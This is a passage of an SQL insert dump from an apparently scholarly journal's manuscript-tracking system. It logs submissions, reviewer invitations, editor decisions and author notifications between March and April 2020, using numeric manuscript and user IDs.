has been Editor Decision Accepted article',3154,'Editor',160),(28840,'2020-03-20 18:09:50','Reviewer has submitted comments',3495,'Reviewer',9797),(28849,'2020-03-20 19:04:53','Reviewer has submitted comments',3593,'Reviewer',11715),(28850,'2020-03-20 19:29:45','Editor has been Revise (Notify Author) article',3154,'Editor',160),(28851,'2020-03-20 19:31:07','Manuscript Submitted by Author using Submission form',3626,'Author',4735),(28853,'2020-03-21 02:43:05','Manuscript Submitted by Author using Submission form',3628,'Author',4737),(28858,'2020-03-21 15:46:15','Reviewer has submitted comments',3581,'Reviewer',11698),(28861,'2020-03-21 20:38:33','Manuscript has been Revised',3484,'Author',4560),(28863,'2020-03-22 02:55:37','Reviewer has submitted comments',3584,'Reviewer',11720),(28866,'2020-03-22 14:17:35','Manuscript Submitted by Author using Submission form',3635,'Author',4746),(28869,'2020-03-22 22:39:00','Manuscript Submitted by Author',3636,'Author',4751),(28871,'2020-03-23 07:18:49','Reviewer has submitted comments',3519,'Reviewer',11355),(28880,'2020-03-24 00:50:25','Reviewer has submitted comments',3584,'Reviewer',10684),(28881,'2020-03-24 00:54:13','Reviewer has submitted comments',3513,'Reviewer',10962),(28883,'2020-03-24 12:53:13','Manuscript Submitted by Author using Submission form',3644,'Author',4764),(28884,'2020-03-24 13:44:17','Reviewer has submitted comments',3584,'Reviewer',10685),(28885,'2020-03-24 13:57:26','Reviewer has submitted comments',3551,'Reviewer',11299),(28886,'2020-03-24 13:57:28','Reviewer has submitted comments',3551,'Reviewer',11299),(28896,'2020-03-25 09:33:08','Manuscript Submitted by Author using Submission form',3652,'Author',4772),(28901,'2020-03-25 14:42:46','Manuscript Submitted by Author using Submission form',3657,'Author',4778),(28903,'2020-03-25 20:28:18','Reviewer has submitted comments',3593,'Reviewer',11714),(28904,'2020-03-25 23:35:49','Reviewer has submitted comments',3433,'Reviewer',4512),(28909,'2020-03-26 00:26:48','Reviewer has submitted comments',3551,'Reviewer',11520),(28919,'2020-03-27 14:21:39','Editor has Accepted to review Manuscript',3612,'Editor',193),(28920,'2020-03-27 14:21:51','Editor has been Editor Decision Accepted article',3612,'Editor',193),(28921,'2020-03-27 14:23:55','Publisher: Accept Notification has been sent to Author',3612,'Publisher',48),(28922,'2020-03-27 14:24:30','Editor has Accepted to review Manuscript',3562,'Editor',194),(28923,'2020-03-27 14:24:45','Editor has been Editor Decision Accepted article',3562,'Editor',194),(28924,'2020-03-27 14:25:41','Publisher: Accept Notification has been sent to Author',3562,'Publisher',48),(28925,'2020-03-27 15:44:17','Editor has Accepted to review Manuscript',3551,'Editor',194),(28926,'2020-03-27 15:44:29','Editor has been Editor Decision Accepted article',3509,'Editor',194),(28927,'2020-03-27 15:45:30','Publisher : Notified Editor',3551,'Publisher',48),(28928,'2020-03-27 15:46:14','Editor has been Editor Decision Accepted article',3551,'Editor',194),(28929,'2020-03-27 15:47:14','Publisher: Accept Notification has been sent to Author',3551,'Publisher',48),(28932,'2020-03-28 11:47:21','Publisher has been Assigned Editor',3657,'Publisher',75),(28936,'2020-03-28 12:15:38','Manuscript has been Revised',3488,'Author',4565),(28937,'2020-03-28 12:50:59','Publisher has been Assigned Editor',3626,'Publisher',48),(28938,'2020-03-28 12:51:19','Publisher has been Assigned Editor',3628,'Publisher',48),(28940,'2020-03-28 12:51:53','Publisher has been Assigned Editor',3652,'Publisher',48),(28966,'2020-03-28 15:05:08','Manuscript Submitted by Author using Submission form',3672,'Author',4802),(28969,'2020-03-28 21:36:20','Manuscript Submitted by Author using Submission form',3673,'Author',4805),(28971,'2020-03-29 03:09:40','Reviewer has submitted comments',3612,'Reviewer',11845),(28972,'2020-03-29 03:22:03','Author sent Email',3488,'Author',4565),(28973,'2020-03-29 03:46:29','Manuscript Submitted by Author using Submission form',3675,'Author',4808),(29009,'2020-03-29 15:33:52','Publisher has Invited Reviewer',3652,'Publisher',48),(29010,'2020-03-29 15:33:54','Publisher has Invited Reviewer',3652,'Publisher',48),(29011,'2020-03-29 15:33:56','Publisher has Invited Reviewer',3652,'Publisher',48),(29012,'2020-03-29 15:33:57','Publisher has Invited Reviewer',3652,'Publisher',48),(29013,'2020-03-29 15:33:59','Publisher has Invited Reviewer',3652,'Publisher',48),(29014,'2020-03-29 15:34:00','Publisher has Invited Reviewer',3652,'Publisher',48),(29015,'2020-03-29 15:47:36','Manuscript Submitted by Author using Submission form',3679,'Author',4812),(29019,'2020-03-30 02:43:39','Manuscript Submitted by Author using Submission form',3682,'Author',4815),(29063,'2020-03-30 14:46:35','Publisher has been Assigned Editor',3672,'Publisher',48),(29064,'2020-03-30 14:47:02','Publisher has Invited Reviewer',3672,'Publisher',48),(29065,'2020-03-30 14:47:03','Publisher has Invited Reviewer',3672,'Publisher',48),(29069,'2020-03-30 14:49:03','Publisher has Invited Reviewer',3628,'Publisher',48),(29070,'2020-03-30 14:49:04','Publisher has Invited Reviewer',3628,'Publisher',48),(29071,'2020-03-30 14:49:05','Publisher has Invited Reviewer',3628,'Publisher',48),(29072,'2020-03-30 14:49:26','Publisher has Invited Reviewer',3626,'Publisher',48),(29073,'2020-03-30 14:49:27','Publisher has Invited Reviewer',3626,'Publisher',48),(29074,'2020-03-30 14:49:29','Publisher has Invited Reviewer',3626,'Publisher',48),(29075,'2020-03-30 14:49:30','Publisher has Invited Reviewer',3626,'Publisher',48),(29118,'2020-03-30 18:04:43','Editor has Accepted to review Manuscript',3563,'Editor',194),(29119,'2020-03-30 18:04:57','Editor has been Editor Decision Accepted article',3563,'Editor',194),(29120,'2020-03-30 18:05:32','Editor has Accepted to review Manuscript',3539,'Editor',194),(29121,'2020-03-30 18:05:50','Editor has been Editor Decision Accepted article',3539,'Editor',194),(29129,'2020-03-31 02:15:22','Reviewer has submitted comments',3612,'Reviewer',11298),(29130,'2020-03-31 08:42:49','Manuscript Submitted by Author using Submission form',3687,'Author',4821),(29135,'2020-03-31 09:32:56','Publisher : Notified Editor',3581,'Publisher',984),(29147,'2020-03-31 11:28:00','Publisher has been Assigned Editor',3673,'Publisher',274),(29151,'2020-03-31 12:42:11','Publisher has been Assigned Editor',3682,'Publisher',75),(29154,'2020-03-31 12:46:29','Publisher has Invited Reviewer',3566,'Publisher',75),(29155,'2020-03-31 12:46:30','Publisher has Invited Reviewer',3566,'Publisher',75),(29156,'2020-03-31 12:46:32','Publisher has Invited Reviewer',3566,'Publisher',75),(29157,'2020-03-31 12:46:33','Publisher has Invited Reviewer',3566,'Publisher',75),(29158,'2020-03-31 12:46:34','Publisher has Invited Reviewer',3566,'Publisher',75),(29159,'2020-03-31 12:46:35','Publisher has Invited Reviewer',3566,'Publisher',75),(29160,'2020-03-31 12:48:44','Publisher has Invited Reviewer',3573,'Publisher',75),(29161,'2020-03-31 12:48:45','Publisher has Invited Reviewer',3573,'Publisher',75),(29162,'2020-03-31 12:48:47','Publisher has Invited Reviewer',3573,'Publisher',75),(29163,'2020-03-31 12:48:48','Publisher has Invited Reviewer',3573,'Publisher',75),(29164,'2020-03-31 12:48:49','Publisher has Invited Reviewer',3573,'Publisher',75),(29165,'2020-03-31 12:48:50','Publisher has Invited Reviewer',3573,'Publisher',75),(29166,'2020-03-31 12:48:51','Publisher has Invited Reviewer',3573,'Publisher',75),(29167,'2020-03-31 12:48:53','Publisher has Invited Reviewer',3573,'Publisher',75),(29168,'2020-03-31 12:48:54','Publisher has Invited Reviewer',3573,'Publisher',75),(29169,'2020-03-31 12:48:55','Publisher has Invited Reviewer',3573,'Publisher',75),(29170,'2020-03-31 12:48:56','Publisher has Invited Reviewer',3573,'Publisher',75),(29171,'2020-03-31 12:48:57','Publisher has Invited Reviewer',3573,'Publisher',75),(29172,'2020-03-31 12:48:58','Publisher has Invited Reviewer',3573,'Publisher',75),(29173,'2020-03-31 12:51:06','Publisher has Invited Reviewer',3575,'Publisher',75),(29174,'2020-03-31 12:51:18','Publisher has Invited Reviewer',3575,'Publisher',75),(29175,'2020-03-31 12:51:19','Publisher has Invited Reviewer',3575,'Publisher',75),(29176,'2020-03-31 12:51:21','Publisher has Invited Reviewer',3575,'Publisher',75),(29177,'2020-03-31 12:51:22','Publisher has Invited Reviewer',3575,'Publisher',75),(29193,'2020-03-31 15:51:20','Reviewer has updated comments',3598,'Reviewer',1128),(29194,'2020-03-31 15:53:20','Reviewer has updated comments',2645,'Reviewer',1128),(29209,'2020-03-31 17:11:48','Publisher has been Assigned Editor',3687,'Publisher',48),(29210,'2020-03-31 17:12:19','Publisher has Invited Reviewer',3687,'Publisher',48),(29211,'2020-03-31 17:12:21','Publisher has Invited Reviewer',3687,'Publisher',48),(29212,'2020-03-31 17:12:22','Publisher has Invited Reviewer',3687,'Publisher',48),(29214,'2020-03-31 18:02:09','Author sent Email',3484,'Author',4560),(29229,'2020-04-01 05:47:29','Editor has Accepted to review Manuscript',3682,'Editor',160),(29230,'2020-04-01 05:48:16','Editor has Invited Reviewer',3682,'Editor',160),(29231,'2020-04-01 05:48:18','Editor has Invited Reviewer',3682,'Editor',160),(29232,'2020-04-01 05:48:19','Editor has Invited Reviewer',3682,'Editor',160),(29233,'2020-04-01 05:48:21','Editor has Invited Reviewer',3682,'Editor',160),(29234,'2020-04-01 05:48:22','Editor has Invited Reviewer',3682,'Editor',160),(29235,'2020-04-01 05:48:23','Editor has Invited Reviewer',3682,'Editor',160),(29236,'2020-04-01 05:48:24','Editor has Invited Reviewer',3682,'Editor',160),(29287,'2020-04-01 16:53:03','Publisher : Notified Editor',3598,'Publisher',85),(29288,'2020-04-01 16:54:29','Editor has Accepted to review Manuscript',3598,'Editor',1251),(29289,'2020-04-01 16:54:48','Editor has been Editor Decision Accepted article',3598,'Editor',1251),(29300,'2020-04-02 01:23:36','Manuscript Submitted by Author using Submission form',3696,'Author',4834),(29304,'2020-04-02 08:48:30','Publisher has Invited Reviewer',3657,'Publisher',75),(29305,'2020-04-02 08:48:32','Publisher has Invited Reviewer',3657,'Publisher',75),(29306,'2020-04-02 08:48:33','Publisher has Invited Reviewer',3657,'Publisher',75),(29307,'2020-04-02 08:48:34','Publisher has Invited Reviewer',3657,'Publisher',75),(29308,'2020-04-02 08:48:35','Publisher has Invited Reviewer',3657,'Publisher',75),(29309,'2020-04-02 08:48:36','Publisher has Invited Reviewer',3657,'Publisher',75),(29320,'2020-04-02 13:14:06','Editor has been Editor Decision Accepted article',3154,'Editor',160),(29322,'2020-04-02 13:15:09','Publisher: Accept Notification has been sent to Author',3154,'Publisher',75),(29324,'2020-04-02 13:18:06','Publisher: Accept Notification has been sent to Author',3154,'Publisher',75),(29325,'2020-04-02 13:32:23','Manuscript Submitted by Author using Submission form',3698,'Author',4837),(29330,'2020-04-02 14:29:45','Publisher: Accept Notification has been sent to Author',3598,'Publisher',85),(29331,'2020-04-02 14:34:04','Publisher has been Assigned Editor',3635,'Publisher',85),(29332,'2020-04-02 14:35:43','Publisher : Notified Editor',3584,'Publisher',85),(29333,'2020-04-02 14:38:20','Editor has Accepted to review Manuscript',3584,'Editor',203),(29334,'2020-04-02 14:38:37','Editor has been Revise (Notify Author) article',3584,'Editor',203),(29335,'2020-04-02 14:39:43','Publisher : Notified Author',3584,'Publisher',85),(29336,'2020-04-02 14:42:01','Publisher : Notified Editor',3513,'Publisher',85),(29337,'2020-04-02 14:46:46','Editor has Accepted to review Manuscript',3513,'Editor',1343),(29338,'2020-04-02 14:47:02','Editor has been Revise (Notify Author) article',3513,'Editor',1343),(29339,'2020-04-02 14:47:43','Publisher : Notified Author',3513,'Publisher',85),(29340,'2020-04-02 14:48:50','Publisher has Invited Reviewer',3635,'Publisher',85),(29341,'2020-04-02 14:48:51','Publisher has Invited Reviewer',3635,'Publisher',85),(29342,'2020-04-02 14:48:52','Publisher has Invited Reviewer',3635,'Publisher',85),(29343,'2020-04-02 14:48:53','Publisher has Invited Reviewer',3635,'Publisher',85),(29344,'2020-04-02 14:48:55','Publisher has Invited Reviewer',3635,'Publisher',85),(29345,'2020-04-02 14:48:56','Publisher has Invited Reviewer',3635,'Publisher',85),(29346,'2020-04-02 14:49:25','Publisher has Invited Reviewer',3635,'Publisher',85),(29359,'2020-04-02 16:23:05','Editor has Accepted to review Manuscript',3635,'Editor',1291),(29360,'2020-04-02 16:24:12','Editor has Invited Reviewer',3635,'Editor',1291),(29361,'2020-04-02 16:24:27','Editor has Invited Reviewer',3635,'Editor',1291),(29364,'2020-04-02 18:49:38','Publisher has Invited Reviewer',3577,'Publisher',84),(29365,'2020-04-02 18:49:40','Publisher has Invited Reviewer',3577,'Publisher',84),(29366,'2020-04-02 18:49:41','Publisher has Invited Reviewer',3577,'Publisher',84),(29367,'2020-04-02 18:49:42','Publisher has Invited Reviewer',3577,'Publisher',84),(29368,'2020-04-02 18:49:44','Publisher has Invited Reviewer',3577,'Publisher',84),(29369,'2020-04-02 18:49:50','Publisher has Invited Reviewer',3577,'Publisher',84),(29370,'2020-04-02 18:49:51','Publisher has Invited Reviewer',3577,'Publisher',84),(29371,'2020-04-02 18:49:52','Publisher has Invited Reviewer',3577,'Publisher',84),(29372,'2020-04-02 18:50:18','Publisher has Invited Reviewer',3577,'Publisher',84),(29373,'2020-04-02 18:50:20','Publisher has Invited Reviewer',3577,'Publisher',84),(29374,'2020-04-02 18:50:31','Publisher has Invited Reviewer',3577,'Publisher',84),(29375,'2020-04-02 18:50:50','Publisher has Invited Reviewer',3577,'Publisher',84),(29376,'2020-04-02 18:50:51','Publisher has Invited Reviewer',3577,'Publisher',84),(29377,'2020-04-02 18:50:53','Publisher has Invited Reviewer',3577,'Publisher',84),(29385,'2020-04-02 22:28:18','Manuscript Submitted by Author using Submission form',3701,'Author',4842),(29389,'2020-04-03 05:09:15','Manuscript Submitted by Author using Submission form',3703,'Author',4844),(29404,'2020-04-03 09:37:36','Editor has been Editor Decision Accepted article',555,'Editor',221),(29424,'2020-04-03 10:29:51','Publisher has been Assigned Editor',3698,'Publisher',274),(29425,'2020-04-03 10:30:04','Publisher has been Assigned Editor',3696,'Publisher',274),(29427,'2020-04-03 10:55:55','Publisher : Notified Editor',3635,'Publisher',85),(29428,'2020-04-03 10:56:52','Editor has been Revise (Notify Author) article',3635,'Editor',1291),(29429,'2020-04-03 10:57:36','Publisher : Notified Author',3635,'Publisher',85),(29432,'2020-04-03 12:25:48','Reviewer has submitted comments',3301,'Reviewer',11449),(29472,'2020-04-03 17:36:51','Publisher: Accept Notification has been sent to Author',555,'Publisher',84),(29483,'2020-04-03 18:15:48','Publisher has been Assigned Editor',3701,'Publisher',85),(29484,'2020-04-03 18:33:50','Publisher has Invited Reviewer',3701,'Publisher',85),(29485,'2020-04-03 18:33:51','Publisher has Invited Reviewer',3701,'Publisher',85),(29486,'2020-04-03 18:33:53','Publisher has Invited Reviewer',3701,'Publisher',85),(29487,'2020-04-03 18:33:55','Publisher has Invited Reviewer',3701,'Publisher',85),(29488,'2020-04-03 18:33:56','Publisher has Invited Reviewer',3701,'Publisher',85),(29489,'2020-04-03 18:33:57','Publisher has Invited Reviewer',3701,'Publisher',85),(29490,'2020-04-03 18:33:59','Publisher has Invited Reviewer',3701,'Publisher',85),(29491,'2020-04-03 18:34:01','Publisher has Invited Reviewer',3701,'Publisher',85),(29492,'2020-04-03 18:34:03','Publisher has Invited Reviewer',3701,'Publisher',85),(29493,'2020-04-03 18:34:04','Publisher has Invited Reviewer',3701,'Publisher',85),(29494,'2020-04-03 18:34:06','Publisher has Invited Reviewer',3701,'Publisher',85),(29495,'2020-04-03 18:34:08','Publisher has Invited Reviewer',3701,'Publisher',85),(29510,'2020-04-03 23:11:28','Manuscript Submitted by Author using Submission form',3708,'Author',4854),(29511,'2020-04-03 23:33:52','Author sent Email',3635,'Author',4746),(29527,'2020-04-04 10:57:12','Publisher has Invited Reviewer',3577,'Publisher',84),(29528,'2020-04-04 10:57:13','Publisher has Invited Reviewer',3577,'Publisher',84),(29529,'2020-04-04 10:57:14','Publisher has Invited Reviewer',3577,'Publisher',84),(29530,'2020-04-04 10:57:15','Publisher has Invited Reviewer',3577,'Publisher',84),(29531,'2020-04-04 10:57:17','Publisher has Invited Reviewer',3577,'Publisher',84),(29532,'2020-04-04 10:57:18','Publisher has Invited Reviewer',3577,'Publisher',84),(29533,'2020-04-04 10:57:20','Publisher has Invited Reviewer',3577,'Publisher',84),(29534,'2020-04-04 10:57:21','Publisher has Invited Reviewer',3577,'Publisher',84),(29535,'2020-04-04 10:57:23','Publisher has Invited Reviewer',3577,'Publisher',84),(29567,'2020-04-04 12:38:30','Publisher has been Assigned Editor',3708,'Publisher',319),(29569,'2020-04-04 14:55:45','Reviewer has been sent email to Publisher',3577,'Reviewer',11985),(29579,'2020-04-05 15:06:58','Manuscript Submitted by Author using Submission form',3713,'Author',4868),(29582,'2020-04-05 18:28:11','Author sent Email',3513,'Author',4594),(29591,'2020-04-06 09:33:25','Publisher has Invited Reviewer',3698,'Publisher',274),(29592,'2020-04-06 09:33:30','Publisher has Invited Reviewer',3698,'Publisher',274),(29593,'2020-04-06 09:33:34','Publisher has Invited Reviewer',3698,'Publisher',274),(29594,'2020-04-06 09:33:38','Publisher has Invited Reviewer',3698,'Publisher',274),(29595,'2020-04-06 09:33:42','Publisher has Invited Reviewer',3698,'Publisher',274),(29596,'2020-04-06 09:38:17','Publisher has Invited Reviewer',3673,'Publisher',274),(29597,'2020-04-06 09:39:10','Publisher has Invited Reviewer',3587,'Publisher',274),(29598,'2020-04-06 09:43:35','Publisher has Invited Reviewer',3673,'Publisher',274),(29599,'2020-04-06 09:47:14','Publisher has Invited Reviewer',3546,'Publisher',274),(29600,'2020-04-06 09:48:33','Publisher has Invited Reviewer',3546,'Publisher',274),(29601,'2020-04-06 09:50:06','Publisher has Invited Reviewer',3546,'Publisher',274),(29602,'2020-04-06 09:51:26','Publisher has Invited Reviewer',3546,'Publisher',274),(29603,'2020-04-06 09:52:24','Publisher has Invited Reviewer',3546,'Publisher',274),(29633,'2020-04-06 12:29:49','Publisher has Invited Reviewer',3708,'Publisher',319),(29634,'2020-04-06 12:29:50','Publisher has Invited Reviewer',3708,'Publisher',319),(29635,'2020-04-06 12:29:57','Publisher has Invited Reviewer',3708,'Publisher',319),(29636,'2020-04-06 12:29:58','Publisher has Invited Reviewer',3708,'Publisher',319),(29637,'2020-04-06 12:30:00','Publisher has Invited Reviewer',3708,'Publisher',319),(29638,'2020-04-06 12:30:01','Publisher has Invited Reviewer',3708,'Publisher',319),(29639,'2020-04-06 12:30:20','Publisher has Invited Reviewer',3708,'Publisher',319),(29640,'2020-04-06 12:30:21','Publisher has Invited Reviewer',3708,'Publisher',319),(29641,'2020-04-06 12:30:22','Publisher has Invited Reviewer',3708,'Publisher',319),(29671,'2020-04-06 13:29:19','Publisher has been Accepted Articles  article',3154,'Publisher',75),(29707,'2020-04-06 18:56:07','Manuscript Submitted by Author using Submission form',3722,'Author',4881),(29709,'2020-04-06 19:35:11','Reviewer has submitted comments',3505,'Reviewer',7418),(29710,'2020-04-06 19:35:12','Reviewer has submitted comments',3505,'Reviewer',7418),(29712,'2020-04-06 19:35:22','Reviewer has updated comments',3505,'Reviewer',7418),(29713,'2020-04-06 19:56:58','Manuscript Submitted by Author using Submission form',3723,'Author',4883),(29724,'2020-04-07 06:37:36','Editor has been Revise (Notify Author) article',3467,'Editor',160),(29744,'2020-04-07 11:12:28','Publisher : Notified Author',3584,'Publisher',85),(29751,'2020-04-07 12:32:29','Publisher has been Assigned Editor',3675,'Publisher',319),(29752,'2020-04-07 12:38:26','Manuscript Submitted by Publisher',3728,'Publisher',319),(29753,'2020-04-07 12:39:10','Publisher has been Assigned Editor',3728,'Publisher',319),(29754,'2020-04-07 12:40:32','Publisher has Invited Reviewer',3577,'Publisher',84),(29755,'2020-04-07 12:40:33','Publisher has Invited Reviewer',3577,'Publisher',84),(29756,'2020-04-07 12:40:35','Publisher has Invited Reviewer',3577,'Publisher',84),(29757,'2020-04-07 12:40:36','Publisher has Invited Reviewer',3577,'Publisher',84),(29758,'2020-04-07 12:40:37','Publisher has Invited Reviewer',3577,'Publisher',84),(29759,'2020-04-07 12:40:38','Publisher has Invited Reviewer',3577,'Publisher',84),(29760,'2020-04-07 12:40:40','Publisher has Invited Reviewer',3577,'Publisher',84),(29761,'2020-04-07 12:40:40','Publisher has Invited Reviewer',3577,'Publisher',84),(29762,'2020-04-07 12:40:42','Publisher has Invited Reviewer',3577,'Publisher',84),(29763,'2020-04-07 12:40:43','Publisher has Invited Reviewer',3577,'Publisher',84),(29764,'2020-04-07 12:40:44','Publisher has Invited Reviewer',3577,'Publisher',84),(29765,'2020-04-07 12:40:45','Publisher has Invited Reviewer',3577,'Publisher',84),(29766,'2020-04-07 12:40:46','Publisher has Invited Reviewer',3577,'Publisher',84),(29767,'2020-04-07 12:40:47','Publisher has Invited Reviewer',3577,'Publisher',84),(29768,'2020-04-07 12:43:41','Publisher : Notified Editor',3484,'Publisher',319),(29769,'2020-04-07 12:45:07','Editor has Accepted to review Manuscript',3505,'Editor',1069),(29770,'2020-04-07 12:45:26','Editor has been Editor Decision Accepted article',3505,'Editor',1069),(29771,'2020-04-07 12:50:08','Publisher: Accept Notification has been sent to Author',3505,'Publisher',319),(29772,'2020-04-07 12:50:23','Publisher has been Accepted Articles  article',3505,'Publisher',319),(29773,'2020-04-07 12:51:32','Editor has been Editor Decision Accepted article',3504,'Editor',1067),(29774,'2020-04-07 12:54:28','Publisher: Accept Notification has been sent to Author',3504,'Publisher',319),(29775,'2020-04-07 12:54:41','Publisher has been Accepted Articles  article',3504,'Publisher',319),(29776,'2020-04-07 12:58:57','Editor has been Editor Decision Accepted article',3484,'Editor',1067),(29777,'2020-04-07 13:07:35','Publisher: Accept Notification has been sent to Author',3484,'Publisher',319),(29778,'2020-04-07 14:01:32','Editor has Accepted to review Manuscript',3728,'Editor',1067),(29779,'2020-04-07 14:01:46','Editor has Accepted to review Manuscript',3708,'Editor',1067),(29780,'2020-04-07 14:02:01','Editor has Accepted to review Manuscript',3675,'Editor',1067),(29781,'2020-04-07 14:07:43','Reviewer has submitted comments',3635,'Reviewer',10685),(29791,'2020-04-07 15:50:00','Publisher has been Assigned Editor',3713,'Publisher',85),(29796,'2020-04-07 16:39:23','Editor has Accepted to review Manuscript',3531,'Editor',1235),(29797,'2020-04-07 16:39:51','Editor has been Editor Decision Accepted article',3531,'Editor',1235),(29798,'2020-04-07 16:40:28','Editor has been Editor Decision Accepted article',3532,'Editor',1235),(29799,'2020-04-07 16:40:54','Editor has Accepted to review Manuscript',3301,'Editor',1235),(29800,'2020-04-07 16:41:18','Editor has been Editor Decision Accepted article',3301,'Editor',1235),(29824,'2020-04-08 09:42:12','Publisher has Invited Reviewer',3675,'Publisher',319),(29825,'2020-04-08 09:42:13','Publisher has Invited Reviewer',3675,'Publisher',319),(29826,'2020-04-08 09:42:14','Publisher has Invited Reviewer',3675,'Publisher',319),(29827,'2020-04-08 09:42:15','Publisher has Invited Reviewer',3675,'Publisher',319),(29828,'2020-04-08 09:42:16','Publisher has Invited Reviewer',3675,'Publisher',319),(29829,'2020-04-08 09:42:17','Publisher has Invited Reviewer',3675,'Publisher',319),(29830,'2020-04-08 09:42:18','Publisher has Invited Reviewer',3675,'Publisher',319),(29831,'2020-04-08 09:42:20','Publisher has Invited Reviewer',3675,'Publisher',319),(29832,'2020-04-08 09:42:21','Publisher has Invited Reviewer',3675,'Publisher',319),(29833,'2020-04-08 09:42:22','Publisher has Invited Reviewer',3675,'Publisher',319),(29834,'2020-04-08 09:42:23','Publisher has Invited Reviewer',3675,'Publisher',319),(29835,'2020-04-08 09:42:24','Publisher has Invited Reviewer',3675,'Publisher',319),(29836,'2020-04-08 09:43:19','Publisher has Invited Reviewer',3728,'Publisher',319),(29837,'2020-04-08 09:43:20','Publisher has Invited Reviewer',3728,'Publisher',319),(29838,'2020-04-08 09:43:21','Publisher has Invited Reviewer',3728,'Publisher',319),(29839,'2020-04-08 09:43:22','Publisher has Invited Reviewer',3728,'Publisher',319),(29840,'2020-04-08 09:43:23','Publisher has Invited Reviewer',3728,'Publisher',319),(29841,'2020-04-08 09:43:24','Publisher has Invited Reviewer',3728,'Publisher',319),(29842,'2020-04-08 10:14:50','Publisher has been Assigned Editor',3722,'Publisher',85),(29843,'2020-04-08 10:16:27','Publisher has Invited Reviewer',3713,'Publisher',85),(29844,'2020-04-08 10:16:28','Publisher has Invited Reviewer',3713,'Publisher',85),(29845,'2020-04-08 10:16:29','Publisher has Invited Reviewer',3713,'Publisher',85),(29846,'2020-04-08 10:16:30','Publisher has Invited Reviewer',3713,'Publisher',85),(29847,'2020-04-08 10:16:31','Publisher has Invited Reviewer',3713,'Publisher',85),(29848,'2020-04-08 10:16:32','Publisher has Invited Reviewer',3713,'Publisher',85),(29849,'2020-04-08 10:16:33','Publisher has Invited Reviewer',3713,'Publisher',85),(29850,'2020-04-08 10:16:34','Publisher has Invited Reviewer',3713,'Publisher',85),(29851,'2020-04-08 10:16:35','Publisher has Invited Reviewer',3713,'Publisher',85),(29852,'2020-04-08 10:16:36','Publisher has Invited Reviewer',3713,'Publisher',85),(29853,'2020-04-08 10:16:37','Publisher has Invited Reviewer',3713,'Publisher',85),(29854,'2020-04-08 10:16:38','Publisher has Invited Reviewer',3713,'Publisher',85),(29855,'2020-04-08 10:18:47','Publisher has Invited Reviewer',3722,'Publisher',85),(29856,'2020-04-08 10:18:48','Publisher has Invited Reviewer',3722,'Publisher',85),(29857,'2020-04-08 10:18:49','Publisher has Invited Reviewer',3722,'Publisher',85),(29858,'2020-04-08 10:18:50','Publisher has Invited Reviewer',3722,'Publisher',85),(29859,'2020-04-08 10:18:51','Publisher has Invited Reviewer',3722,'Publisher',85),(29860,'2020-04-08 10:18:53','Publisher has Invited Reviewer',3722,'Publisher',85),(29861,'2020-04-08 10:18:54','Publisher has Invited Reviewer',3722,'Publisher',85),(29862,'2020-04-08 10:18:55','Publisher has Invited Reviewer',3722,'Publisher',85),(29863,'2020-04-08 10:18:57','Publisher has Invited Reviewer',3722,'Publisher',85),(29864,'2020-04-08 10:18:58','Publisher has Invited Reviewer',3722,'Publisher',85),(29902,'2020-04-08 14:21:21','Editor has Accepted to review Manuscript',3687,'Editor',194),(29903,'2020-04-08 14:21:49','Editor has Accepted to review Manuscript',3687,'Editor',194),(29904,'2020-04-08 14:21:49','Editor has Accepted to review Manuscript',3687,'Editor',194),(29905,'2020-04-08 14:21:49','Editor has Accepted to review Manuscript',3687,'Editor',194),(29906,'2020-04-08 14:21:49','Editor has Accepted to review Manuscript',3687,'Editor',194),(29908,'2020-04-08 14:25:04','Editor has been Editor Decision Accepted article',3687,'Editor',194),(29909,'2020-04-08 14:25:14','Editor has Accepted to review Manuscript',3652,'Editor',194),(29910,'2020-04-08 14:25:16','Editor has Accepted to review Manuscript',3652,'Editor',194),(29913,'2020-04-08 14:39:37','Editor has been Editor Decision Accepted article',3652,'Editor',194),(29914,'2020-04-08 14:39:44','Editor has been Editor Decision Accepted article',3652,'Editor',194),(29916,'2020-04-08 14:40:45','Editor has Accepted to review Manuscript',3626,'Editor',194),(29917,'2020-04-08 14:41:04','Editor has been Editor Decision Accepted article',3626,'Editor',194),(29919,'2020-04-08 15:42:25','Manuscript Submitted by Author',3733,'Author',4903),(29971,'2020-04-09 13:02:19','Reviewer has submitted comments',3577,'Reviewer',10876),(29972,'2020-04-09 13:11:10','Reviewer has submitted comments',3713,'Reviewer',10962),(29991,'2020-04-09 16:23:08','Manuscript Submitted by Author',3741,'Author',4854),(30000,'2020-04-09 17:01:21','Publisher has Invited Reviewer',3682,'Publisher',75),(30001,'2020-04-09 17:01:22','Publisher has Invited Reviewer',3682,'Publisher',75),(30002,'2020-04-09 17:02:10','Publisher has Invited Reviewer',3657,'Publisher',75),(30003,'2020-04-09 17:02:32','Publisher has Invited Reviewer',3657,'Publisher',75),(30004,'2020-04-09 17:02:33','Publisher has Invited Reviewer',3657,'Publisher',75),(30005,'2020-04-09 17:02:34','Publisher has Invited Reviewer',3657,'Publisher',75),(30006,'2020-04-09 17:02:35','Publisher has Invited Reviewer',3657,'Publisher',75),(30007,'2020-04-09 17:03:17','Publisher has Invited Reviewer',3575,'Publisher',75),(30008,'2020-04-09 17:03:18','Publisher has Invited Reviewer',3575,'Publisher',75),(30009,'2020-04-09 17:03:19','Publisher has Invited Reviewer',3575,'Publisher',75),(30010,'2020-04-09 17:03:20','Publisher has Invited Reviewer',3575,'Publisher',75),(30011,'2020-04-09 17:03:22','Publisher has Invited Reviewer',3575,'Publisher',75),(30012,'2020-04-09 17:03:23','Publisher has Invited Reviewer',3575,'Publisher',75),(30013,'2020-04-09 17:06:21','Publisher has Invited Reviewer',3573,'Publisher',75),(30014,'2020-04-09 17:06:22','Publisher has Invited Reviewer',3573,'Publisher',75),(30015,'2020-04-09 17:06:24','Publisher has Invited Reviewer',3573,'Publisher',75),(30016,'2020-04-09 17:06:25','Publisher has Invited Reviewer',3573,'Publisher',75),(30017,'2020-04-09 17:06:34','Publisher has Invited Reviewer',3573,'Publisher',75),(30018,'2020-04-09 17:07:27','Publisher has Invited Reviewer',3566,'Publisher',75),(30019,'2020-04-09 17:07:41','Publisher has Invited Reviewer',3566,'Publisher',75),(30020,'2020-04-09 17:07:42','Publisher has Invited Reviewer',3566,'Publisher',75),(30021,'2020-04-09 17:08:11','Publisher has Invited Reviewer',3447,'Publisher',75),(30022,'2020-04-09 17:08:32','Publisher has Invited Reviewer',3447,'Publisher',75),(30023,'2020-04-09 17:08:33','Publisher has Invited Reviewer',3447,'Publisher',75),(30024,'2020-04-09 17:08:34','Publisher has Invited Reviewer',3447,'Publisher',75),(30025,'2020-04-09 17:08:35','Publisher has Invited Reviewer',3447,'Publisher',75),(30026,'2020-04-09 17:12:31','Publisher 